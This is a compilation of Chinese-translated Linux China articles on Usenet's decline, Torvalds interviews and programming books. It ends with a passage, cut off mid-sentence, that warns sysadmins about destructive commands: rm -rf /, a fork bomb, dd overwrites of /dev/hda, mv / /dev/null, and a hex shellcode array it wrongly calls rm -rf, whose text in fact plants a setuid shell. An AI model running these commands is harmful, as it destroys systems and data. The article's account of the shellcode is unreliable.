Steven Vaughan-nichols 发布的文章

当谷歌决定停止支持 Usenet,使得这个最早的社交网络平台又少了一个主要的入口。

在脸书还未成立,甚至在互联网出现之前,Usenet 就已经存在了。作为首个社交网络,Usenet 的存在时光超越了一切。但如今,随着谷歌群组的 撤离,这个最久远的社交网络岌岌可危。

谷歌发表声明:

从 2024 年 2 月 22 日起,您将无法继续使用谷歌群组(groups.google.com)发布内容至 Usenet、订阅 Usenet 的群组,或是查看新的 Usenet 内容。但您可继续在谷歌群组上查看并检索至 2024 年 2 月 22 日前发布的 Usenet 的历史内容。

有些人可能会说现在是时候了。正如同谷歌所说,“在过去的几年里,随着用户转向更现代的平台和格式,如社交媒体和基于互联网的论坛,文字形式的 Usenet 群组的合法活动已明显减少。目前很多通过 Usenet 分发的内容已变为二进制(非文字)的文件分享,这是谷歌群组无法支持的,此外还有垃圾邮件等。”

诚然,虽然如今的 Usenet 几乎完全充斥着垃圾信息,但在其黄金年代,它所涵盖的几乎是今日的 Twitter 和 Reddit,甚至有过之而无不及。

一切的开端

在 1979 年,杜克大学的计算机科学研究生 Tom Truscott 和 Jim Ellis 萌生了搭建一个按主题分类的消息共享网络的想法。这些消息,也被称为文章或帖子,分别提交到各个主题类别中,这些类别后来就被人们称作“新闻组”。

在这些组中,消息按主题和子主题组织在一起。就比如,关于历史上最佳 NFL 四分卫的讨论可能会有一系列主题(即讨论),来分别支持 Tom Brady、Joe Montana、Peyton Manning 等人。

听起来是不是熟悉?你会 想起 80 和 90 年代的 CompuServe、GEnie、Prodigy 等在线服务的网络新闻论坛,或者后来的 Reddit 及其子版块?它们的形成和发展都深受 Usenet 的影响。

在 1980 年,Truscott 和 Ellis 携手北卡罗莱纳大学创建了最初的 Usenet 节点,使用的是 “Unix 对 Unix 的复制协议(UUCP)”。从那时开始,它就在还没出现互联网的 ARPANet 和其他早期网络中迅速蔓延。

这些消息会被存储起来,然后可以在新闻服务器上检索。服务器间建立了“对等”连接,以便新闻组的消息能在服务器和用户之间共享,你的消息能在几小时内传遍整个网络世界。Usenet 进化出了自己的网络协议,即“网络新闻传输协议(NNTP)”,以加快消息传递的速度。

如今,社交网络 Mastodon 就采用了类似的办法,使用 ActivityPub 协议。而其他的社交网络,如 Threads,正在研究如何使用 ActivityPub 协议与 Mastodon 和其他支持 ActivityPub 的社交网络建立联系。

有句老话说得好,万物皆有轮回。

事实上,我们今天在谈论互联网使用的大部分词汇都源自 Usenet。例如,“ 常见问答 Frequently Asked Questions ”(FAQ)文件就是在 Usenet 上首次出现的,作为给新闻组会员参考的信息摘要,让他们无需为新成员重复解释基本信息。

然而,并不是所有的短语都有趣。比如 “ 网络攻击 flame ” 和 “ 网络战争 flame war ”,它们也起源于 Usenet。遗憾的是,我们始终无法和谐相处。但同时,我们也一直努力温柔以待。这就是被称为“ 网络礼仪 netiquette ”的概念。然而至今,这个准则往往存在于口头,鲜有人在实践中遵守。

垃圾邮件 Spam 的诞生也始于 Usenet。尽管我们都知道 “垃圾” 这一术语起源于 蒙提·派森 Monty Python 的荒诞剧,但是垃圾邮件首次被大规模商业化利用还要追溯到 1994 年,当时 Laurence Canter 和 Martha Siegel 律师夫妇在 Usenet 上大肆发布移民法律服务的广告。他们后来会有些愧疚地说,是我的早期文章让他们想到了使用互联网进行广告发布。我……

早期的 Usenet 不仅让人们能够相互交流,其价值远不止于此。例如,Linux 就是从一条发给 comp.os.minix 新闻组的著名信息开始诞生的:

Linus Benedict Torvalds

1991 年 8 月 25 日,下午 4:57:08

各位正在使用 minix 的朋友们,大家好 -

我正在制作一款(免费的)操作系统(只是一个爱好,没有像 GNU 那样庞大和专业的野心)以供 386(486)AT 机型使用。我撰写这个操作系统已经酝酿好几个月了,而且现在看起来准备得差不多了。关于 minix 的优缺点,我想听听大家的反馈,因为我的操作系统在某些方面(例如,出于实用原因导致的文件系统布局等)跟它很像。

Usenet 从来不是一个有组织的社交网络。每个服务器的所有者都可以制定自己的规则,也的确这样制定了。

不过,需要指出的是,Usenet 在最初阶段的确有某种形式的组织。最早的 “主流” Usenet 群组 —— 即 comp、misc、news、rec、soc 和 sci 顶层,一直被广泛接受和传播,直至 1987 年。然后,受到新群组数量激增的冲击,一个新的命名计划应运而生,被称为 “ 大更名 Great Renaming ”。这引发了众多争端,并催生出 talk 顶层。这个顶层和最初的六个顶层共同构成了 “ 七大顶层 Big Seven ”。接着,一段自由言论的抗议推动了 alt 群组的诞生。此后,可以访问所有新闻组的 Usenet 站点变得越来越少,取而代之的是,维护者和用户需要决定他们要支持哪些新闻组。

如果你觉得这有些类似于埃隆•马斯克对 Twitter 一番操作后产生的分裂情况,没错,就是这样。

多年来,随着 Usenet 上的讨论被垃圾邮件和网络战争所取代,它开始衰落。尽管马斯克声称无限制的自由言论是种优势,但结果却往往是恶劣信息的无尽倾泻。

Usenet 的今天

在许多方面,Usenet 警示我们社交网络会如何走向败坏。尽管如此,我们现在在社交网络上看到的问题,在 Usenet 上早就已经出现过了。

大量被称为 “二进制” 群组的 Usenet 新闻组几乎没有任何讨论。它们用来分享文件,其中一部分文件是合法的,但也有不少就不怎么合法了。而这些用户中,那些利用这些群组进行盗版电影、游戏等的人数,可能超过实际使用讨论群组进行对话的人数。

确实,有人试图改革 Usenet。比如,在多年无人监督后,2020 年成立的 “Big 8” 管理委员会开始管理这些新闻组,但进展甚微。

进一步说,如果你想将继续关注 Usenet 的未来变化 —— 毕竟,奇迹总会发生 —— 你需要从一个 Usenet 提供商那里获取一个账户。我推荐的有 Eternal September,它提供免费访问讨论类的 Usenet 群组;NewsHosting,以每月 9.99 美元的价格提供访问所有 Usenet 群组的服务;EasyNews,价格为每月 9.98 美元,提供高速下载和优质的搜索引擎;以及 Eweka,每月 9.50 欧元,只提供欧盟服务器。

你还会需要一个 Usenet 客户端。其中一款免费且颇受欢迎的客户端是 Mozilla 的 Thunderbird 邮件客户端,其同时也是 Usenet 客户端。EasyNews 也提供了自身的客户端作为服务的一部分。如果你只关注下载文件,那么 SABnzbd 值得一试。

(题图:DA/751f9b47-becd-40e3-af2d-b670ee77c1e3)


via: https://www.zdnet.com/article/the-rise-and-fall-of-usenet-how-the-original-social-media-platform-came-to-be/

作者: Steven Vaughan-Nichols 译者: ChatGPT 校对: wxy

在日本开源峰会中,Linux 和 Git 的创始人 Linus Torvalds 深入探讨了 Rust 在 Linux 中的应用、Linux 维护者压力问题,以及 AI 对 Linux 和开源开发未来的影响。

尽管 Linux 的创始人 Linus Torvalds 最近鲜少公开露面,但在 Linux 基金会的 日本开源峰会 上,他与其好友,Verizon 开源部门负责人 Dirk Hohndel 共同探讨了 Linux 的当前状况。

首先,两人对下一个 Linux 内核版本 Linux 6.7 进行了讨论。在出发前往东京前,Torvalds 已经发布了此版本的 第四个发布候选版。这意味着,如果一切顺利,且 Torvalds 未发现任何问题,我们将在圣诞节左右看到新版本的 Linux 内核。

正如 Torvalds 解释的那样,他不希望把 “合并窗口” 放在圣诞,因为这会 “毁掉我的圣诞节”。而现在,“我们正在等待,以确保不存在任何可能成为绊脚石的问题”。为确保正在为下一个版本 6.8 而准备的维护者和开发者们不会因为知道 “圣诞节后我的合并窗口将开启而陷入 恐慌 Panic ,我们可能会将其推迟一到两周,使时间安排更为舒适,因为没有人愿意在圣诞期间繁重的工作。”

当提到维护者的话题,Hohndel 提出了 “维护者疲劳以及这个角色的疲劳和压力” 的讨论。正如我最近的报道,Linux 内核的维护者对于这个关键而高要求的角色感到 压力渐增

对此,Torvalds 做出回应:“找到开发者比较容易;我们有很多的开发者。一些人认为,只有能做任何事情的超级开发者才有资格成为维护者,但实际情况并非如此。”

Torvalds 接着说,“要成为一名维护者,你需要有足够的鉴赏力来评判别人的代码。有些能力可能是与生俱来的,但大部分则需要通过实践来获得。你必须能看别人的代码,并能区分,‘这是好的实践还是坏的实践’?通常这只是多年实践的结果。”

尽管如此,Torvalds 还是强调,“我们有很多优秀的维护者,但另一方面,你必须坚守在岗位,或者需要找到能够和你协同工作的维护者,这样你就能规划好你的休假和其他事项。”

对于 Torvalds 来说,“始终在岗并不是问题,因为我热爱我所做的事情。几个月前我去度假,我带了我的笔记本电脑。如果我没有随身带着笔记本电脑,我可能会感到无比无聊。这就是我生活的方式,但我明白并不是每个人都适合这样的生活,尤其是当你要投入生活中好几年的时间时。”

这也是 Torvalds 需要积极学习和提升的一部分,“代码容易写,有对错可寻。但人际关系则较为复杂,必须学会与开发者或者维护者相处,尤其当维护者都有各自不同的目标。他们想将自己负责的区域推向一个方向,而其他的维护者可能会想要将它朝其他方向引导。这种情况会带给人巨大的压力。”

在 2018 年,Torvalds 决定放弃他愤怒的态度,他 休假一段时间,去改正他对其他开发者的态度。有所改观后,Torvalds 回归 了 Linux 内核工作。自从那时起他变得更为温和,正如他在东京提到的,他不再 “对某公司竖中指,我已吸取了教训。”

总结一下,Torvalds 指出,“人们往往认为开源全是关于编程的事,但实际上很多是与沟通相关。维护者就是翻译的人,我不仅指的是语言,更是代码的环境,代码存在的理由。这是一项艰巨的任务。但是,如果你想成为维护者,相信我,顶层总有你的位置。”

此外,Linux 内核社区的老龄化也是一个值得关注的问题。如 Hohndel 所说,“如果我看五年后,很多 (顶尖的 Linux 内核)的人们将步入 60 岁,甚至有人将接近 70 岁。”

对此,Torvalds 承认,“我们中的很多人都在步入老年,但部分原因是因为我们有一些已经工作超过 30 年的维护者。他们依然活跃,仍然会回来找我。我们拥有一个人们愿意长期坚持的社区。”

Hohndel 评论道,内核社区的老龄化问题是枚 “双刃剑”,Torvalds 同意这个观点,并指出,“我喜欢内核中的 Rust 的原因之一是,那里有一个明显比其他维护者年轻很多的维护者。我们可以明显看到内核的某些区域更能吸引年轻人。”比如在驱动方面,那里更容易找到年轻的人,这一直是我们发展和培养维护者的传统方式,包括 Greg(Korah-Hartman,Linux 稳定内核的维护者)。

Hohndel 和 Torvalds 还谈到了在 Linux 内核中使用 Rust 语言的情况,Torvalds 指出,“这方面有增长,但我们的内核还没有哪个部分真正依赖 Rust。对我而言,Rust 在技术上是有意义的,但以我个人的看法,更重要的是我们不能因为是内核和开发者就停滞不前。”

Torvalds 继续说道:“尽管 Rust 还未真正展现出它的巨大潜力,但我想在明年,我们将开始集成开始积极使用它的驱动程序和一些甚至是主要子系统。所以这是一种需要几年才能在内核中占有重要地位的事情,但无疑,它正在逐渐塑造出这一未来。”

展望未来,Hohndel 谈到我们必须去考虑大型语言模型(LLM)人工智能。他认为人工智能更像是把超级自动更正,因为其实大型语言模型的核心功能就是预测你下一个最可能用到的词,然后从此处进行推理。尽管它看似并不真正聪明,但显然,它对我们的生活以及我们生活的现实产生了深远影响。他问道:“你觉得我们会看到有人提交由大型语言模型写出的代码吗?”

Torvalds 的答复坚定且直接,“我确信这种情况会发生,甚至可能已经发生了。也许现在是在一个较小的范围内,人们更多的是在利用它来辅助编写代码。”但是,和许多人不同的是,Torvalds 并不对人工智能感到担忧。“自动化帮助编写代码的情况显然一直存在,这并不是什么新鲜事。”他说。

实际上,Torvalds 希望 AI 能在“寻找明显的愚蠢错误方面提供帮助,因为很多他看到的错误并不是难以注意的错误,很多都是愚蠢的错误,这并不需要任何更高级的智能才能发现。”他希望有更多工具能在错误更难以发现的情况下发出警告,比如,“这种模式看起来不太常见,你确定这是你想要的吗?” 答案也许是 “不,这不是我的意思,你找到了明显的问题,非常感谢!”我们确实需要一款超级自动更正。他看待 AI 更像是一个可以帮助我们在做好自己事情的一项工具。

Hohndel 接着提问:“那关于 AI 带来的幻觉呢?”对此,一向坦率直言的 Torvalds 表达了他的看法,“我每天都会看到即使没有 AI 的情况下也依然会发生的错误。所以这就是为什么我并不太担心。我认为我们自己仍然很擅长犯错误。”

随后,Torvalds 表达了他对于开源的热爱,“我很高兴开源、开放的理念如今获得了更广泛的接受。我特别记得 30 年前我刚开始这个项目时,人们会质疑我,问我‘为什么呢?你又是怎么盈利的呢?’ 这种问题现在已经不再出现,开源已经成为了这个行业的标准,不论是编程还是数据,大规模的项目需要在公司之间分享,这已经成为了人们的共识。”

Hohndel 指出,“Linux 基金会的目标就是鼓励超越个人、公司,甚至超越整个社会,在一个中立的地方进行合作。在这样一个中立而公正的场所,人们可以聚集在一起实现一些事情,这是非常重要的。”

最后,Torvalds 总结道,“这就是我为什么在 Linux 基金会工作,因为我拒绝在任何 Linux 公司工作。我不想让任何一个公司或任何一个商业实体成为特殊地位。我们需要一个中立的地方,这就是为什么我决定把我的姓名给了 Linux 基金会。”

(题图:DA/e811695a-aa34-4805-b634-03c516688323)


via: https://www.zdnet.com/article/linus-torvalds-on-state-of-linux-today-and-how-ai-figures-in-its-future/

作者:Steven Vaughan-Nichols 译者:ChatGPT 校对:wxy

在 LPC 2022 大会上,Torvalds 和我有机会坐下来,再次谈论生活、Linux 和潜水。

爱尔兰,都柏林:我认识 Linus Torvalds 已经几十年了,但是自从全球疫情爆发以来,我们已经多年没有机会进行面对面的访谈了。终于,在 2022 年的 Linux Plumbers 大会上,这个世界顶级 Linux 开发者的年度聚会上,我们有机会再次面对面进行了交谈。

在这次会议之前,Torvalds 在荷属西印度群岛的博内尔岛潜水了六天。如果有选择的话,他说他"宁愿潜水也不愿去参加会议"。我们不都是这样吗?

Torvalds 还说,尽管他在 Linux 内核上工作了很多,但他不是工作狂。

真的,我之所以还能年复一年地为之工作,是因为我可以离开它。但我不会离开很久,因为我会感到无聊。唯一让我觉得日子漫长,而且精疲力尽的时候是在一个合并周期开始的时候。即使如此,我还是尽量在我可以集中精力的合并的第一周做完所有主要的事情。

如果你想知道谁是 Linux 内核真正的工作狂,Torvalds 建议你看看 Greg Kroah-Hartmann(GKH),他是 Linux 稳定版内核 的维护者。“我不知道他是怎么做到的,”Torvalds 坦承,“我想他把很多事情都自动化了,但这是无休无止的,而且每周都要做。”

然而,全球疫情对 Linux 内核的开发几乎没有任何影响。当然,Torvalds 和许多顶级内核维护者一样,多年来一直在家里工作。一个大的变化是,“多年来,我们第一次召开了一场面对面的 Plumbers 和 Linux 内核维护者峰会”,这是一个由前 20 名内核维护者组成的圆桌会议。

Torvalds 说,另一个很大的不同是,那些以前没有在家工作的开发者发现,他们很大程度上喜欢在家工作。Torvalds 希望他们中的许多人能够继续这样做。

这并不是说没有任何变化。Torvalds 同意 Linux 内核开发者 Jonathan Corbet 的观点,他在当天早些时候在附近召开的欧洲开源峰会上说:“现在不再是孤独的 Linux 子系统维护者,而是团队在管理子系统,而且效果很好。” Torvalds 补充说:“有些子系统仍然由一个人管理,但这种情况越来越少。与其说是委员会,不如说是由三个人轮流组成的小组”。这就减轻了维护者的负担,正如 Corbet 所说,这有助于代码维护者“快乐更多,暴躁更少”。没有人愿意在试图让代码补丁通过时面对一个暴躁的代码维护者。

说到脾气暴躁,Torvalds 虽然不是 Rust 的超级粉丝,但他已经准备好看到 Rust 进入 Linux 内核了。

我已经觉得我们会在这个版本(Linux 内核 6.0)中拥有它,但显然,这并没有发生。我不会打包票说它会进入 6.1 版本(10 月发布)。但是,它已经进行了足够长的时间,我们所差的就是临门一脚了,因为不合并它并没有什么好处。而且肯定会合并。当然,有些人仍然认为我们可能会遇到一些麻烦,但如果两年后有问题,我们可以在那时再解决。

Rust 还没有完全进入的一个原因是,一些开发者担心需要让所有非标准的 Rust 扩展在 Linux 中工作。例如,在新的 Rust Linux NVMe 驱动中,需要对 Rust 进行 70 多项扩展才能使其工作。

但是,Torvalds 说,几十年来,我们一直在使用标准 C 的例外用法。“我一直很坚定地表示,这个领域的标准是垃圾。而我们要忽略这个标准,因为这个标准是错误的。因此,在 Rust 方面也将是如此。”

在他看来,更重要的部分是 Rust 编译器需要可靠和稳定。人们的一个问题是,GCC Rust 肯定还不够可靠或稳定。所以实际上,现在要做 Linux Rust 的开发,你必须使用 Clang。但是,Torvalds 补充说,“Clang 确实可以工作,所以合并 Rust 应该对内核有好处,而不是伤害。”

这些天,当他在路上的时候,Torvalds 正在使用一台带有 M2 处理器的苹果 MacBook Air。在这台崭新的机器上,他运行的是 Fedora Workstation 36。他还不能向普通人推荐这个。因为没有针对 ARM-64 M2 处理器 的 Fedora 移植版,所以他自己做了这些改造。目前,支持 M2 处理器的主要 Linux 发行版是 Asahi Linux for Mac,但它使用了晦涩的 Pacman 软件包管理器。或者,正如 Torvalds 所说,“Pacman!?什么鬼!”但是,他能够迅速地搞定它,让 Fedora 出现在它上面。

当然,它还不完美。例如,这些代码还不支持 M2 FPU,所以 Torvalds 不能使用 3D 图形功能,但“我不需要游戏”。具有讽刺意味的是,这也意味着 GNOME 40 的一些图形效果,如屏幕调光,不能工作,但“我喜欢这种方式,它使显示更敏捷。我可能也会在我的其他机器上关闭这些效果”。

更加恼人的是,Chrome 还不能在这个平台上的 Linux 上运行。这并不是什么大问题,因为 Chromium 浏览器在上面运行得很好。除了,“我把琐碎的密码保存在 Chrome 密码管理器上,所以我必须用我的智能手机把它们转移过来。”

然而,对于他真正从事的工作,修补和编译 Linux 内核,M2 Air 工作得很好。即使只有 16GB 的内存和 256GB 的固态硬盘,它也能很好地工作。当然,它在他 自制的 Linux 工作站 上运行得更快,但 “我这次旅行只带了我的 Mac Air。这就是我需要的一切”。

Linux 软件和 Mac 硬件是天作之合。或者说,Torvalds 所做的搭配使他很高兴。


via: https://www.zdnet.com/article/linus-torvalds-rust-may-make-it-into-the-next-linux-kernel-after-all/

作者:Steven Vaughan-Nichols 译者:wxy 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出

毫无疑问,Linux 是由那些拥有深厚计算机知识背景而且才华横溢的程序员发明的。让那些大名鼎鼎的 Linux 程序员向如今的开发者分享一些曾经带领他们登堂入室的好书和技术参考资料吧,你会不会也读过其中几本呢?

Linux,毫无争议的属于 21 世纪的操作系统。虽然 Linus Torvalds 在建立开源社区这件事上做了很多工作和社区决策,不过那些网络专家和开发者愿意接受 Linux 的原因还是因为它卓越的代码质量和高可用性。Torvalds 是个编程天才,同时必须承认他还是得到了很多其他同样极具才华的开发者的无私帮助。

就此我咨询了 Torvalds 和其他一些顶级 Linux 开发者,有哪些书籍帮助他们走上了成为顶级开发者的道路,下面请听我一一道来。

熠熠生辉的 C 语言

Linux 是在大约上世纪 90 年代开发出来的,与它一起问世的还有其他一些完成基础功能的开源软件。与此相应,那时的开发者使用的工具和语言反映了那个时代的印记,也就是说 C 语言。可能 C 语言不再流行了,可对于很多已经建功立业的开发者来说,C 语言是他们的第一个在实际开发中使用的语言,这一点也在他们推选的对他们有着深远影响的书单中反映出来。

Torvalds 说,“你不应该再选用我那个时代使用的语言或者开发方式”,他的开发道路始于 BASIC,然后转向机器码(“甚至都不是汇编语言,而是真真正正的‘二进制’机器码”,他解释道),再然后转向汇编语言和 C 语言。

“任何人都不应该再从这些语言开始进入开发这条路了”,他补充道。“这些语言中的一些今天已经没有什么意义(如 BASIC 和机器语言)。尽管 C 还是一个主流语言,我也不推荐你从它开始。”

并不是他不喜欢 C。不管怎样,Linux 是用 GNU C 语言写就的。“我始终认为 C 是一个伟大的语言,它有着非常简单的语法,对于很多方向的开发都很合适,但是我怀疑你会遇到重重挫折,从你的第一个‘Hello World’程序开始到你真正能开发出能用的东西当中有很大一步要走”。他认为,用现在的标准,如果作为入门语言的话,从 C 语言开始的代价太大。

在他那个时代,Torvalds 的唯一选择的书就只能是 Brian W. Kernighan 和 Dennis M. Ritchie 合著的《 C 编程语言,第二版 C Programming Language, 2nd Edition 》,它在编程圈内也被尊称为 K&R。“这本书简单精炼,但是你要先有编程的背景才能欣赏它”,Torvalds 说到。

Torvalds 并不是唯一一个推荐 K&R 的开源开发者。以下几位也同样引用了这本他们认为值得推荐的书籍,他们有:Linux 和 Oracle 虚拟化开发副总裁 Wim Coekaerts;Linux 开发者 Alan Cox;Google 云 CTO Brian Stevens;Canonical 技术运营部副总裁 Pete Graner。

如果你今日还想同 C 语言较量一番的话,Samba 的共同创始人 Jeremy Allison 推荐《 C 程序设计新思维 21st Century C: C Tips from the New School 》。他还建议,同时也去阅读一本比较旧但是写的更详细的《 C 专家编程 Expert C Programming: Deep C Secrets 》和有着 20 年历史的《 POSIX 多线程编程 Programming with POSIX Threads 》。

如果不选 C 语言, 那选什么?

Linux 开发者推荐的书籍自然都是他们认为适合今时今日的开发项目的语言工具。这也折射了开发者自身的个人偏好。例如,Allison 认为年轻的开发者应该在《 Go 编程语言 The Go Programming Language 》和《 Rust 编程 Rust with Programming Rust 》的帮助下去学习 Go 语言和 Rust 语言。

但是超越编程语言来考虑问题也不无道理(尽管这些书传授了你编程技巧)。今日要做些有意义的开发工作的话,要从那些已经完成了 99% 显而易见工作的框架开始,然后你就能围绕着它开始写脚本了, Torvalds 推荐了这种做法。

“坦率来说,语言本身远远没有围绕着它的基础架构重要”,他继续道,“可能你会从 Java 或者 Kotlin 开始,但那是因为你想为自己的手机开发一个应用,因此安卓 SDK 成为了最佳的选择,又或者,你对游戏开发感兴趣,你选择了一个游戏开发引擎来开始,而通常它们有着自己的脚本语言”。

这里提及的基础架构包括那些和操作系统本身相关的编程书籍。 Garner 在读完了大名鼎鼎的 K&R 后又拜读了 W. Richard Steven 的《 Unix 网络编程 Unix Network Programming 》。特别是,Steven 的《 TCP/IP 详解,卷1:协议 TCP/IP Illustrated, Volume 1: The Protocols 》在出版了 30 年之后仍然被认为是必读之书。因为 Linux 开发很大程度上和和网络基础架构有关,Garner 也推荐了很多 O'Reilly 在 SendmailBashDNS 以及 IMAP/POP 等方面的书。

Coekaerts 也是 Maurice Bach 的《 UNIX 操作系统设计 The Design of the Unix Operation System 》的书迷之一。James Bottomley 也是这本书的推崇者,作为一个 Linux 内核开发者,当 Linux 刚刚问世时 James 就用 Bach 的这本书所传授的知识将它研究了个底朝天。

软件设计知识永不过时

尽管这样说有点太局限在技术领域。Stevens 还是说到,“所有的开发者都应该在开始钻研语法前先研究如何设计,《 设计心理学 The Design of Everyday Things 》是我的最爱”。

Coekaerts 喜欢 Kernighan 和 Rob Pike 合著的《 程序设计实践 The Practic of Programming 》。这本关于设计实践的书当 Coekaerts 还在学校念书的时候还未出版,他说道,“但是我把它推荐给每一个人”。

不管何时,当你问一个长期从事于开发工作的开发者他最喜欢的计算机书籍时,你迟早会听到一个名字和一本书:Donald Knuth 和他所著的《 计算机程序设计艺术(1-4A) The Art of Computer Programming, Volumes 1-4A 》。VMware 首席开源官 Dirk Hohndel,认为这本书尽管有永恒的价值,但他也承认,“今时今日并非极其有用”。(LCTT 译注:不代表译者观点)

读代码。大量的读。

编程书籍能教会你很多,也请别错过另外一个在开源社区特有的学习机会:《 代码阅读方法与实践 Code Reading: The Open Source Perspective 》。那里有不可计数的代码例子阐述如何解决编程问题(以及如何让你陷入麻烦……)。Stevens 说,谈到磨炼编程技巧,在他的书单里排名第一的“书”是 Unix 的源代码。

“也请不要忽略从他人身上学习的各种机会。” Cox 道,“我是在一个计算机俱乐部里和其他人一起学的 BASIC,在我看来,这仍然是一个学习的最好办法”,他从《 精通 ZX81 机器码 Mastering machine code on your ZX81 》这本书和 Honeywell L66 B 编译器手册里学习到了如何编写机器码,但是学习技术这点来说,单纯阅读和与其他开发者在工作中共同学习仍然有着很大的不同。

Cox 说,“我始终认为最好的学习方法是和一群人一起试图去解决你们共同关心的一些问题并从中找到快乐,这和你是 5 岁还是 55 岁无关”。

最让我吃惊的是这些顶级 Linux 开发者都是在非常底层级别开始他们的开发之旅的,甚至不是从汇编语言或 C 语言,而是从机器码开始开发。毫无疑问,这对帮助开发者理解计算机在非常微观的底层级别是怎么工作的起了非常大的作用。

那么现在你准备好尝试一下硬核 Linux 开发了吗?Greg Kroah-Hartman,这位 Linux 内核稳定分支的维护者,推荐了 Steve Oualline 的《 实用 C 语言编程 Practical C Programming 》和 Samuel harbison 与 Guy Steels 合著的《 C 语言参考手册 C: A Reference Manual 》。接下来请阅读 如何进行 Linux 内核开发 HOWTO do Linux kernel development ,到这时,就像 Kroah-Hartman 所说,你已经准备好启程了。

于此同时,还请你刻苦学习并大量编码,最后祝你在跟随顶级 Linux 开发者脚步的道路上好运相随。


via: https://www.hpe.com/us/en/insights/articles/top-linux-developers-recommended-programming-books-1808.html

作者:Steven Vaughan-Nichols 选题:lujun9972 译者:DavidChenLiang 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出

当然,除非你想干掉你的机器。

蜘蛛侠有这样的一句信条,“权力越大,责任越大。” 对于 Linux 系统管理员们来说,这也是一种应当采用的明智态度。

不,真的,真心感谢 DevOps 的沟通协作和云编排技术,让一个 Linux 管理员不仅能掌控一台服务器,甚者能控制成千上万台服务器实例。只需要一个愚蠢的举动,你甚至可以毁掉一个价值数十亿美元的企业,就像 没有打补丁的 Apache Struts 一样。

如果不能跑在安全补丁之前,这将会带来一个远超过系统管理员工资水平的战略性业务问题。这里就有一些足以搞死 Linux 服务器的简单方式掌握在系统管理员手中。很容易想象到,只有新手才会犯这些错误,但是,我们需要了解的更多。

下列是一些著名的命令,任何拥有 root 权限的用户都能借助它们对服务器造成严重破坏。

警告:千万不要在生产环境运行这些命令,它们会危害你的系统。不要在家里尝试,也不要在办公室里测试。

那么,继续!

rm -rf /

想要干脆利落的毁掉一个 Linux 系统吗?你无法超越这个被誉为“史上最糟糕”的经典,它能删除一切,我说的是,能删除所有存在你系统里的内容!

和大多数 Linux 命令一样,rm 这个核心命令使用起来非常方便。即便是最顽固的文件它也能帮你删除。结合起后面两个参数理解 rm 指令时,你很容易陷入大麻烦:-r,强制递归删除所有子目录,-f,无需确认,强制删除所有只读文件。如果你在根目录运行这条指令,将清除整个驱动器上的所有数据。

如果你真这么干了,想想该怎么和老板解释吧!

现在,也许你会想,“我永远不会犯这么愚蠢的错误。”朋友,骄兵必败。吸取一下经验教训吧, 这个警示故事来自于一个系统管理员在 Reddit 上的帖子

我在 IT 界工作了很多年,但是今天,作为 Linux 系统 root 用户,我在错误的系统路径运行了 rm- f

长话短说,那天,我需要复制一大堆目录从一个目录到另一个目录,和你一样,我敲了几个 cp -R 去复制我需要的内容。

以我的聪明劲,我持续敲着上箭头,在命令记录中寻找可以复制使用的类似命令名,但是它们混杂在一大堆其他命令当中。

不管怎么说,我一边在 Skype、Slack 和 WhatsApp 的网页上打字,一边又和 Sage 通电话,注意力严重分散,我在敲入 rm -R ./videodir/* ../companyvideodirwith651vidsin/ 这样一条命令时神游物外。

然后,当文件化为乌有时其中也包括了公司的视频。幸运的是,在疯狂敲击 control -C 后,在删除太多文件之前,系统管理员中止了这条命令。但这是对你的警告:任何人都可能犯这样的错误。

事实上,绝大部分现代操作系统都会在你犯这些错误之前,用一段醒目的文字警告你。然而,如果你在连续敲击键盘时忙碌或是分心,你将会把你的系统键入一个黑洞。(LCTT 译注:幸运的是,可能在根目录下删除整个文件系统的人太多了额,后来 rm 默认禁止删除根目录,除非——你手动加上 --no-preserve-root 参数!)

这里有一些更为隐蔽的方式调用 rm -rf。思考一下下面的代码:

char esp[] __attribute__ ((section(“.text”))) = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

这是什么?这是 16 进制的 rm -rf 写法。在你不明确这段代码之前,请千万不要运行这条命令!

fork 炸弹

既然我们讨论的都是些奇怪的代码,不妨思考一下这一行:

:(){ :|: & };:

对你来说,这可能看起来有些神秘,但是我看来,它就是那个臭名昭著的 Bash fork 炸弹。它会反复启动新的 Bash shell,直到你的系统资源消耗殆尽、系统崩溃。

不应该在最新的 Linux 系统上做这些操作。注意,我说的是不应该。我没有说不能。正确设置用户权限,Linux 系统能够阻止这些破坏性行为。通常用户仅限于分配使用机器可用内存。但是如果作为 root 用户的你运行了这行命令(或者它的变体 Bash fork 炸弹变体),你仍然可以反复虐待服务器,直到系统重启了。

垃圾数据重写硬盘

有时候你想彻底清除硬盘的数据,你应该使用 Darik's Boot and Nuke (DBAN) 工具去完成这项工作。

但是如果仅仅想让你的存储器乱套,那很简单:

任意命令 > /dev/hda

我说的“任意命令”,是指有输出的任意命令,比如:

ls -la > /dev/hda

……将目录列表通过管道送到你的主存储设备。给我 root 权限和足够的时间,就能覆盖整个硬盘设备。这是让你开始盲目恐慌的一天的好办法,或者,可以把它变成 职业禁入方式

擦除硬盘!

另一个一直受欢迎的擦除硬盘的方式是执行:

dd if=/dev/zero of=/dev/hda

你可以用这条命令写入数据到你的硬盘设备。dd 命令可以从特殊文件中获取无尽个 0 字符,并且将它全部写入你的设备。

可能现在听起来 /dev/zero 是个愚蠢的想法,但是它真的管用。比如说,你可以使用它来 用零清除未使用的分区空间。它能使分区的镜像压缩到更小,以便于数据传输或是存档使用。

在另一方面,它和 dd if=/dev/random of=/dev/hda 相近,除了能毁掉你的一天之外,不是一个好事。如果你运行了这个指令(千万不要),你的存储器会被随机数据覆盖。作为一个隐藏你要接管办公室咖啡机的秘密计划的半吊子方法,倒是不错,但是你可以使用 DBAN 工具去更好的完成你的任务。

/dev/null 的损失

也许因为数据珍贵,我们对备份的数据没有什么信心,确实很多“永远不要这样做!”的命令都会导致硬盘或其它存储仓库的数据被擦除。一个鲜明的实例:另一个毁灭你的存储设备的方式,运行 mv / /dev/null 或者 >mv /dev/null

